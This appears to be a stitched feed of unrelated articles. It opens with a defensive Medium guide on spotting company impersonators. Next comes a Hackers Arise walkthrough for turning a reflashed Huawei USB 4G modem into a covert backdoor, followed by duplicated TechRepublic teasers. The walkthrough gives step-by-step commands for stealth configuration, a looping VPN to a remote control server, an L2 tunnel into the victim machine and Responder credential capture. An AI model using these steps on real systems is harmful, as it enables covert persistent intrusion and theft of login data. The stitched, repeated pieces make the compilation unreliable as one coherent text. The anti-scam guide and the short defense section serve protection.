Scammers can copy a name, a logo and a job title in a minute. A few checks you can run yourself show whether a “support agent”, recruiter or business partner is real.

A message lands on Telegram: “Hi, I’m Daniel from the security team at your exchange. We saw a login from a new device. Please confirm your wallet so we can protect your funds.” The profile photo shows the company logo. The English is good. Daniel is patient, and he knows your username.

Daniel does not work at the exchange. He works for a scam crew, and the “confirm your wallet” link empties your wallet.

People reported losing $3.5 billion to imposter scams in 2025, and nearly $1 billion of that went to people pretending to be a business, according to the FTC’s June 2026 report. The FBI’s figure for crypto is bigger. Victims told its Internet Crime Complaint Center they lost $11.4 billion to crypto-related crime in 2025, more than half of all the losses it counted that year (IC3 2025 report).

A lot of those losses started the same way. Someone claimed to work for a company, and the victim took their word for it. Some victims did not know how to check. Others saw a familiar name, a logo and a confident tone, and felt no need.

The checks run from a 30-second test to reading the hidden part of an email. If you only have time for two, use the first and the tenth: both are free, and both are very hard for a scammer to fake.

The one rule behind every check

Never use the contact details a stranger gives you to check that stranger.

If “Daniel” sends you a phone number, a website or an email address and says “contact us here to confirm”, all three belong to Daniel. Calling the number he gave you only proves that Daniel answers his own phone.

Every check in this list works the same way. You find the company’s official channel yourself, from a source the stranger did not hand you. Then you ask that channel whether the person is real.

Why people skip the check

It looks official, so we assume it is. A logo, a job title and a company name take a minute to copy. Real staff photos sit on LinkedIn and on company “Team” pages for anyone to download.

They already know something about us. Your username, your last order or the exchange you use is often public, or leaked in a data breach. Knowing those details says nothing about who the sender is.

There is a clock. “Your account will be frozen in 30 minutes.” The deadline is there to stop you checking. A real company will still exist after you spend ten minutes confirming.

The more urgent the message, the slower you should move.

13 ways to check that someone works for a company

1. Contact the company yourself, through its official website

Type the company’s address into your browser by hand, or use a bookmark you saved earlier. Skip links in the message and skip search ads, because scammers buy ads for fake support pages. Find the support page or contact form and ask: “Someone called Daniel, Telegram @daniel_sec_team, says he works on your security team and contacted me today. Is that real?”

Example. A “recruiter” emails about a job at a well-known firm. You open the firm’s careers page from a bookmark. The role is not listed, and the HR address on the page is another one. The recruiter does not work for the firm.

The catch is speed. If support takes two days to reply, wait two days, and do nothing the stranger asks in the meantime.

2. Use the company’s own checking tool

Many crypto exchanges now run a page where you paste a username, email, phone number or link, and it tells you whether the contact is official. Three examples:

• Binance Verify at binance.com/en/official-verification checks domains, email addresses, phone numbers and social handles, Telegram included. Binance says anyone who claims to work with Binance and cannot be confirmed there should be treated as untrusted.
• OKX has a channel verification page in its Help Center. OKX says to type the “@” before a username, or the result can be wrong.
• KuCoin runs an Official Verification Center at kucoin.com/cert. It checks emails, Telegram IDs, X accounts, websites and official wallet addresses.

Example. “Binance support” adds you on Telegram as @BinanceSupportDesk. You paste the handle into Binance Verify, and it comes back as not official. Block the account and report it.

Reach these tools by typing the exchange’s main address yourself and looking in its Help Center for “verify” or “official channel”. If the stranger sends you a link to a “checking tool”, that link is the trap.

A tool can confirm that an address belongs to the company. It cannot confirm that an email really came from that address, because the From line can be forged. Bybit’s own help page warns about this. For email, add check 5.

3. Ask them to message you from the company’s official X account

Ask the person to prove it on a channel only the company controls. Better still, contact that channel yourself. Here is a message you can send:

“Before I continue, please send me a DM from @ExampleExchange, the official account, confirming you work there and what this is about. Or I can DM that account and ask.”

A real employee will say “sure” or send you to the official support channel. A scammer will make excuses: “That account is for marketing only”, “our team can’t access it”, “this is confidential.” Each of those excuses means the person cannot prove it.

Make sure you have the right official account. Open it from a link on the company’s own website, since search results can show copycat accounts. It should have years of posts and the follower count you would expect.

Then look for X’s affiliate badge. Companies that pay X to verify their brand can link their staff accounts. An affiliated employee shows a small copy of the company’s profile picture next to their name, and tapping it opens the company’s account. A plain blue tick on a personal account says nothing about employment, because anyone can buy one.

Official accounts do get hacked. If the official account suddenly DMs you first with a link, treat that as suspicious too. Most companies never start private conversations about your account.

4. Ask for an email from the company domain, then read that domain letter by letter

A real employee can email you from a work address in a minute. Ask for it. A recruiter or “partner” who only uses Gmail, Outlook.com, Telegram or WhatsApp fails this test.

Then read the address slowly. Say the real company is Example Exchange at example.com. Each of these addresses is fake:

• support@examp1e.com (the digit 1 in place of the letter l)
• hr@exarnple.com ("rn" looks like "m" in many fonts)
• security@example-support.com (an extra word added to the name)
• team@example.co (the wrong ending)
• alerts@example.com.account-check.net (the real domain is account-check.net, read from the right)
• help@exаmple.com (the "а" is a Cyrillic letter that looks the same as the Latin one)

Two more things to check in the same email:

• The display name can say anything. “Example Exchange Security” might sit on top of x7k2@mail-ru.biz. Click or tap the name to see the real address.
• The Reply-To can differ. An email can arrive from an address that looks right and still send your reply to a stranger. Hit reply and look at the “To” field before you type.

A correct domain is a good start. On its own it can still be forged, which is why check 5 comes next.

5. Check the email’s sign-in results (SPF, DKIM and DMARC)

Every email carries test results that show whether it really came from the domain in the From line. Your inbox runs these tests already. You just have to look.

In Gmail, open the email, click the three dots and choose “Show original”. In Outlook, open the message, then More actions, View, “View message source”. In Apple Mail, choose View, Message, Raw Source.

Find the line that starts with Authentication-Results. A real email from example.com looks like this:

dkim=pass header.d=example.com; spf=pass smtp.mailfrom=example.com; dmarc=pass header.from=example.com

In plain words:

• SPF pass means the server that sent the email is on the domain’s approved list.
• DKIM pass means the email carries the domain’s digital signature, and nobody changed the message on the way.
• DMARC pass means at least one of those two tests passed for the same domain you see in the From line. This is the result to read first.

Warning signs: dmarc=fail, spf=fail, dkim=none, or a pass for some other domain, such as dkim=pass header.d=bulk-mailer-7.net on an email that claims to be from example.com.

Example. An email from “security@example.com” asks you to reset your password. Gmail’s “Show original” says dmarc=fail header.from=example.com. The From line is forged. Delete the email.

A DMARC pass means the email left a mail system the company approved. A hacked staff mailbox passes too, and forwarded emails sometimes fail SPF while being genuine. Treat the result as strong evidence and combine it with the other checks.

6. Paste the raw email into an AI chatbot and ask it to find the tricks

Raw email source is hard to read. A chatbot such as ChatGPT, Claude or Gemini can read it for you and point at the parts that look wrong.

1. Open “Show original” (or “View message source”) as in check 5 and copy everything.
2. Remove your own details first: your email address, name, phone number, account numbers and any codes. Replace each with “[removed]”.
3. Paste the text into the chatbot with a prompt like this one.

“Below is the raw source of an email, including headers and HTML. I think it may be a phishing email pretending to be from example.com. Please check: (1) Do SPF, DKIM and DMARC pass, and for which domain? (2) Does the From address match the Return-Path and Reply-To? (3) List every link in the HTML and show where it really points, compared with the text shown to me. (4) Are any domains lookalikes of example.com? (5) Anything else suspicious? Quote the exact lines you rely on.”

AI is good at this job. It will catch a link whose visible text says https://example.com/login while the code behind it points to https://example-com.login-verify.app, and it spots lookalike domains and hidden text far faster than most people do.

Example. You paste a “your withdrawal is on hold” email. The chatbot lists four links. Three go to example.com. The “Release funds” button goes to a domain nobody at the company owns, and that button is the scam.

Chatbots also make mistakes in both directions. An email that “looks fine” to a chatbot can still come from a hacked real account. Make it quote the lines it relies on, then check those lines yourself. Never paste passwords, seed phrases or one-time codes into any chatbot.

7. Hover over links and check when the domain was registered

Before you click anything, hover over the link on a computer, or press and hold it on a phone, to see the real address. Read the domain from the right, as in check 4.

Then look up when the domain was created. Paste it into the ICANN lookup and check the “Created” date. A company that has existed for ten years does not send security alerts from a domain registered last Tuesday.

Example. A “partnership manager” from a known crypto project emails from bd@exampleprotocol-team.com. ICANN lookup shows the domain was created nine days ago. The project's real site has used a different domain since 2021.

A brand-new domain is a strong warning sign. An old domain proves less, because some scam domains sit unused for months before they are used.

8. Check their LinkedIn the right way

A LinkedIn profile is easy to fake. A good fake still leaves gaps you can spot.

• Look for LinkedIn’s workplace check. LinkedIn lets members confirm their current employer, most often with a code sent to their work email, and the result shows on the profile. It confirms the company only. The job title is unchecked, and only some companies support it so far.
• Start from the company page. Open the company’s official LinkedIn page, go to its People tab and search for the name. Searching from the company side is harder to fool than clicking a profile someone sent you.
• Read the history. Real profiles usually have years of posts, a work history that makes sense, and connections who also work at the company. Fake ones are often new, with a few hundred random connections and a headshot that looks too perfect.
• Message the profile directly. Ask the LinkedIn account to confirm the chat you are having on Telegram or WhatsApp. Scammers often copy a real employee’s profile, and the real employee will reply confused.

A long history plus a workplace check is good evidence that the person exists and works there. It does not show that the person messaging you on another app is the same person, so always confirm on the profile itself.

9. Check the company’s team page, docs, GitHub and community admin lists

Many companies publish who speaks for them:

• The Team or About page on the official website.
• The docs or Help Center, which often list official support channels and say “we will never DM you first.”
• The GitHub organization. Open github.com/the-company and look at public members. A developer who says they work there can usually be found in that list.
• Telegram and Discord admin lists. Check the admin’s username, the part with the @, and ignore the display name. Anyone can set a display name to “Example Support | Admin”. OKX advises copying the username from the profile screen. If the “username” appears only in the bio, the account is probably fake.

Example. You post a question in a project’s Discord, and “Mod Alex” sends you a private message offering help. You check the server’s member list. The real Alex has a staff role and a different username. The account in your DMs joined the server yesterday.

Lists go stale when people leave, so when the stakes are high, confirm with check 1 as well.

10. Call back through the switchboard

If someone phones you from “the company”, hang up and call the number on the company’s website or on the back of your card. Ask to be put through to that person or department.

Example. “Your bank’s fraud team” calls and asks you to move savings to a “safe account”. You hang up and dial the number printed on your bank card. The bank has no record of the call. The FTC says bank impersonators caused the largest reported losses among business imposters in 2025, and these scams often end with victims persuaded to move money to “protect” it.

This check is hard to beat. Use another phone if you can, because some scams keep the line open after you hang up.

11. For crypto: ask for a signed message from a known wallet

Crypto has a check that nobody can fake without the private key. If a project or team member claims to control a wallet the project lists publicly, ask them to sign a message with it.

1. Find the wallet address yourself, in the project’s official docs, website or official X account.
2. Ask them to sign a message with today’s date and your name in it, such as: “I am Daniel from Example Protocol. Signed for Priya on 29 October 2026.” The date and your name stop them from reusing an old signature.
3. Check the signature on Etherscan’s Verified Signatures page. BaseScan, Arbiscan and other Ethereum-style explorers have the same tool. Enter the address, the message and the signature, and see whether it is valid.

A valid signature proves the signer controls that wallet. Whether the wallet belongs to the project depends on where you found the address, which is why step 1 matters.

12. Don’t treat a video call as proof

Plenty of people still treat a video call as the final word. Since 2024 that has been a costly habit. In January 2024, a finance employee at the Hong Kong office of engineering firm Arup joined a video call with what looked like the company’s CFO and other colleagues. Every other face on the call was a deepfake. The employee made 15 transfers worth HK$200 million, about $25.6 million, before checking with the head office, Hong Kong police said. Arup later confirmed to CNN that fake voices and images were used.

If a video call is part of the story, confirm through a second channel you found yourself: the company switchboard, the official X account or a work email you already confirmed with checks 4 and 5. Ask for a calendar invite sent from the company domain, and run check 5 on it.

13. Search their name, handle and domain with “scam”

Spend a minute on a web search:

• "@daniel_sec_team" scam
• "example-support.com"
• "Example Exchange" recruiter scam

Also look for the company’s own warnings. Many companies publish lists of fake domains and copycat tricks on their blog or Help Center.

If others have reported the same handle or domain, you know it is a scam within a minute. An empty search proves nothing, because a new scam has no reports yet.

Requests that end the conversation, whoever is asking

Some requests are scams however well the person passes these 13 checks, because a hacked real account can pass every test. Nothing makes these requests safe:

• Your seed phrase, recovery phrase or private key. No company ever needs it. Anyone who asks is stealing.
• Your password or a one-time code from SMS, email or an authenticator app.
• Remote access or screen sharing through AnyDesk, TeamViewer or a “support tool”.
• Moving money to a “safe” or “secure” wallet or account to protect it.
• Paying to receive money, such as a fee to unlock a withdrawal, a deposit to start a job, or “gas” to claim a prize.
• Installing software for a job interview. Fake crypto recruiters ask candidates to install a “video call app” or run a coding test that carries malware.
• Connecting your wallet to “verify” it, or signing a transaction you do not understand.

When you see one of these, stop. You don’t owe anyone a polite goodbye.

Three common scams, checked step by step

Scam 1: Fake exchange support on Telegram

The message. “@ExampleEx_Support” writes: “Your withdrawal is stuck. Connect your wallet at example-unlock.com to release it.”

The checks.

1. Check 2: the exchange’s checking tool says the handle is not official.
2. Check 7: ICANN lookup shows example-unlock.com was created this month.
3. The requests list: “connect your wallet to release funds” is on it.

Verdict. Scam. Block the account and report it to the exchange and to Telegram.

Scam 2: A recruiter from a crypto firm

The message. A LinkedIn profile titled “Senior Talent Partner at Example Labs” offers $180,000 for a remote developer role. The next step is a “technical test”: download a code repository and run it on your laptop.

The checks.

1. Check 4: you ask for an email from @examplelabs.com. The reply comes from a Gmail account, “because of internal policy”.
2. Check 8: nobody with that name appears on Example Labs’ LinkedIn People tab, and the profile is four months old.
3. Check 1: Example Labs’ careers page lists no such role.
4. The requests list: running unknown code from a stranger is on it.

Verdict. Scam. If you already ran the code, treat the laptop as compromised. Move any crypto to a new wallet created on a clean device, and change your passwords from that device.

Scam 3: A “partnership” email to a small project

The message. “Hi, I lead business development at Example Exchange. We’d like to list your token. Please sign the attached agreement and pay the $15,000 listing deposit.”

The checks.

1. Check 5: “Show original” says dmarc=pass header.from=example-exchange-listing.com. The email really came from that domain, and that domain belongs to someone else.
2. Check 3: you DM the exchange’s official X account. The exchange replies that it never asks for listing deposits by email and does not know this person.
3. Check 2: the exchange’s checking tool does not recognize the address.

Verdict. Scam. The email passed DMARC for its own lookalike domain, which is why reading the domain letter by letter (check 4) comes before the header check.

A checklist you can save

Before you share anything, pay anything or click anything:

• I found the company’s contact details myself. This person did not give them to me.
• I asked the company, through that channel, whether this person is real.
• I checked the handle or email in the company’s checking tool, if it has one.
• I read the email domain letter by letter, from the right.
• “Show original” shows dmarc=pass for the company's real domain.
• I checked where every link really goes, by hovering or with AI.
• The domain is more than a few months old.
• Their LinkedIn, team page or GitHub matches, and I searched from the company’s side.
• Nobody asked for a seed phrase, code, password, remote access, a fee or a software install.
• I am not rushing because someone told me to.

If any line fails, stop and confirm through a channel you found yourself.

If you already replied or paid

Act in this order:

1. Stop all contact. Do not send “one last” payment to unlock the first one. Fake “recovery” offers usually follow, often from the same crew.
2. Secure your accounts from a device you trust. Change passwords, reset two-factor authentication and log out of other sessions.
3. Move your crypto to a new wallet with a new seed phrase if you shared the old phrase or connected your wallet to a site. Revoke token approvals you do not recognize.
4. Tell the real company through its official support. The company can freeze accounts and warn other users.
5. Report it. In the US, use reportfraud.ftc.gov and the FBI’s ic3.gov. In the UK, use Report Fraud. Elsewhere, contact your national police cyber-crime unit.

FAQ

How can I verify if someone works for a company?

Contact the company through a channel you found yourself, such as its official website or official X account, and ask whether the person works there. Back that up with the company’s checking tool if it has one, a work email from the real domain that passes DMARC, and LinkedIn’s workplace check.

Can a verified X account be fake?

Yes. Anyone can buy a blue checkmark, and it says nothing about employment. On X, staff linked to a verified company show an affiliate badge, a small copy of the company’s logo next to their name. Official accounts can still be hacked, so pair the badge with a second check.

Is an email from the company’s domain always safe?

No. The From address can be forged, which is why you check for dmarc=pass in the raw headers. A real staff mailbox can also be hacked, and a hacked mailbox passes every check. If the email asks for anything on the requests list, treat it as a scam even when the headers pass.

Can AI tell me if an email is a scam?

AI is very good at reading raw email source and finding fake links, lookalike domains and failed SPF, DKIM or DMARC results. It still makes mistakes. Use it to point at the suspicious lines, check those lines yourself, and remove your personal details before you paste.

Will a real company ever message me first on Telegram or WhatsApp?

Most large crypto exchanges say their staff will not start private chats about your account and will never ask for funds, passwords or codes. Check the company’s Help Center for its own policy, and treat any unprompted private message as unconfirmed until you check it.

What is the safest way to check a recruiter?

Ask for an email from the company domain, find the role on the company’s own careers page, and search the recruiter’s name on the company’s LinkedIn People tab. Never pay a fee, buy equipment through the recruiter, or install software as part of an interview.

What should I do if someone fails these checks?

Stop replying, block the account, and report it to the real company and to the platform where you met. If you shared anything or sent money, follow the steps under “If you already replied or paid”.

Gaurav Agarwal writes about crypto security and on-chain investigations. If a scam message reached you that these checks did not cover, describe it in the comments, without personal details, and I will add a check for it.

How to Verify Someone Really Works for a Company: 13 Checks was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Vietnam and India are advancing AI, cybersecurity, and digital payments partnerships, but key projects and cross-border payment services remain in development.

The post Vietnam and India Push AI, Cybersecurity, and Cross-Border Payments at Tech Forum appeared first on TechRepublic.

Most of us download and install new apps and self-hosted services without a second thought, but if you do anything important on your PC, it can be a significant security risk.

Vietnam and India are advancing AI, cybersecurity, and digital payments partnerships, but key projects and cross-border payment services remain in development.

The post Vietnam and India Push AI, Cybersecurity, and Cross-Border Payments at Tech Forum appeared first on TechRepublic.